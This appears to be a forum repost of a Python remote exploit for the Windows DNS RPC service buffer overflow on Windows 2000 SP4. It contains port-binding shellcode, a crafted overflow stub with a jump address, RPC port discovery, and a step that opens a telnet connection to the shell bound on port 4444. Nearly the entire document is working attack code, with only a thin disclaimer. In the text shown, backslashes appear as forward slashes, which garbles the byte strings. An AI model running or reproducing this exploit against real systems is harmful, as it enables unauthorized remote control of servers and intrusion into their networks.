MS Windows DNS RPC Remote Buffer Overflow Exploit (win2k SP4)

1. #!/usr/bin/python
2. # Remote exploit for the 0day Windows DNS RPC service vulnerability as
3. # described in [url]http://www.securityfocus.com/bid/23470/info.[/url] Tested on
4. # Windows 2000 SP4. The exploit if successful binds a shell to TCP port 4444
5. # and then connects to it.
6. #
7. # Cheers to metasploit for the first exploit.
8. # Written for educational and testing purposes.
9. # Author shall bear no responsibility for any damage caused by using this code
10. # Winny Thomas :-)
12. import os
13. import sys
14. import time
15. from impacket.dcerpc import transport, dcerpc, epm
16. from impacket import uuid
18. #Portbind shellcode from metasploit; Binds port to TCP port 4444
19. shellcode = "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
20. shellcode += "/x29/xc9/x83/xe9/xb0/xe8/xff/xff/xff/xff/xc0/x5e/x81/x76/x0e/xe9"
21. shellcode += "/x4a/xb6/xa9/x83/xee/xfc/xe2/xf4/x15/x20/x5d/xe4/x01/xb3/x49/x56"
22. shellcode += "/x16/x2a/x3d/xc5/xcd/x6e/x3d/xec/xd5/xc1/xca/xac/x91/x4b/x59/x22"
23. shellcode += "/xa6/x52/x3d/xf6/xc9/x4b/x5d/xe0/x62/x7e/x3d/xa8/x07/x7b/x76/x30"
24. shellcode += "/x45/xce/x76/xdd/xee/x8b/x7c/xa4/xe8/x88/x5d/x5d/xd2/x1e/x92/x81"
25. shellcode += "/x9c/xaf/x3d/xf6/xcd/x4b/x5d/xcf/x62/x46/xfd/x22/xb6/x56/xb7/x42"
26. shellcode += "/xea/x66/x3d/x20/x85/x6e/xaa/xc8/x2a/x7b/x6d/xcd/x62/x09/x86/x22"
27. shellcode += "/xa9/x46/x3d/xd9/xf5/xe7/x3d/xe9/xe1/x14/xde/x27/xa7/x44/x5a/xf9"
28. shellcode += "/x16/x9c/xd0/xfa/x8f/x22/x85/x9b/x81/x3d/xc5/x9b/xb6/x1e/x49/x79"
29. shellcode += "/x81/x81/x5b/x55/xd2/x1a/x49/x7f/xb6/xc3/x53/xcf/x68/xa7/xbe/xab"
30. shellcode += "/xbc/x20/xb4/x56/x39/x22/x6f/xa0/x1c/xe7/xe1/x56/x3f/x19/xe5/xfa"
31. shellcode += "/xba/x19/xf5/xfa/xaa/x19/x49/x79/x8f/x22/xa7/xf5/x8f/x19/x3f/x48"
32. shellcode += "/x7c/x22/x12/xb3/x99/x8d/xe1/x56/x3f/x20/xa6/xf8/xbc/xb5/x66/xc1"
33. shellcode += "/x4d/xe7/x98/x40/xbe/xb5/x60/xfa/xbc/xb5/x66/xc1/x0c/x03/x30/xe0"
34. shellcode += "/xbe/xb5/x60/xf9/xbd/x1e/xe3/x56/x39/xd9/xde/x4e/x90/x8c/xcf/xfe"
35. shellcode += "/x16/x9c/xe3/x56/x39/x2c/xdc/xcd/x8f/x22/xd5/xc4/x60/xaf/xdc/xf9"
36. shellcode += "/xb0/x63/x7a/x20/x0e/x20/xf2/x20/x0b/x7b/x76/x5a/x43/xb4/xf4/x84"
37. shellcode += "/x17/x08/x9a/x3a/x64/x30/x8e/x02/x42/xe1/xde/xdb/x17/xf9/xa0/x56"
38. shellcode += "/x9c/x0e/x49/x7f/xb2/x1d/xe4/xf8/xb8/x1b/xdc/xa8/xb8/x1b/xe3/xf8"
39. shellcode += "/x16/x9a/xde/x04/x30/x4f/x78/xfa/x16/x9c/xdc/x56/x16/x7d/x49/x79"
40. shellcode += "/x62/x1d/x4a/x2a/x2d/x2e/x49/x7f/xbb/xb5/x66/xc1/x19/xc0/xb2/xf6"
41. shellcode += "/xba/xb5/x60/x56/x39/x4a/xb6/xa9"
43. # Stub sections taken from metasploit 
44. stub = '/xd2/x5f/xab/xdb/x04/x00/x00/x00/x00/x00/x00/x00/x04/x00/x00/x00'
45. stub += '/x70/x00/x00/x00/x00/x00/x00/x00/x1f/x38/x8a/x9f/x12/x05/x00/x00'
46. stub += '/x00/x00/x00/x00/x12/x05/x00/x00'
47. stub += '//A' * 465
48. # At the time of overflow ESP points into our buffer which has each char 
49. # prepended by a '/' and our shellcode code is about 24+ bytes away from 
50. # where EDX points
51. stub += '///x80///x62///xE1///x77'#Address of jmp esp from user32.dll
52. # The following B's which in assembly translates to 'inc EDX' increments
53. # about 31 times EDX so that it points into our shellcode 
54. stub += '//B' * 43 
55. # Translates to 'jmp EDX'
56. stub += '///xff///xe2'
57. stub += '//A' * 134 
58. stub += '/x00/x00/x00/x00/x76/xcf/x80/xfd/x03/x00/x00/x00/x00/x00/x00/x00'
59. stub += '/x03/x00/x00/x00/x47/x00/x00/x00'
60. stub += shellcode
62. # Code ripped from core security document on impacket
63. # [url]www.coresecurity.com/files/attachments/impacketv0.9.6.0.pdf[/url] 
64. # Not a neat way to discover a dynamic port :-)
65. def DiscoverDNSport(target):
66.   trans = transport.SMBTransport(target, 139, 'epmapper')
67.   trans.connect()
68.   dce = dcerpc.DCERPC_v5(trans)
69.   dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))
70.   pm = epm.DCERPCEpm(dce)
71.   handle = '/x00'*20
72.   while 1:
73.     dump = pm.portmap_dump(handle)
74.     if not dump.get_entries_num():
75.       break
76.     handle = dump.get_handle()
77.     entry = dump.get_entry().get_entry()
78.     if(uuid.bin_to_string(entry.get_uuid()) == '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076'):
79.       port = entry.get_string_binding().split('[')[1][:-1]
80.       return int(port)
82.   print '[-] Could not locate DNS port; Target might not be running DNS'
84. def ExploitDNS(target, port):
85.   trans = transport.TCPTransport(target, port)
86.   trans.connect()
87.   dce = dcerpc.DCERPC_v5(trans)
88.   dce.bind(uuid.uuidtup_to_bin(('50abc2a4-574d-40b3-9d66-ee4fd5fba076','5.0')))  
89.   
90.   dce.call(0x01, stub)
92. def ConnectRemoteShell(target):
93.   connect = "/usr/bin/telnet " + target + " 4444"
94.   os.system(connect)
96. if __name__ == '__main__':
97.   try:
98.     target = sys.argv[1]
99.   except IndexError:
100.     print 'Usage: %s ' % sys.argv[0]
101.     sys.exit(-1)
103.   print '[+] Locating DNS RPC port'
104.   port = DiscoverDNSport(target)
105.   print '[+] Located DNS RPC service on TCP port: %d' % port
106.   ExploitDNS(target, port)
107.   print '[+] Exploit sent. Connecting to shell in 3 seconds'
108.   time.sleep(3)
109.   ConnectRemoteShell(target)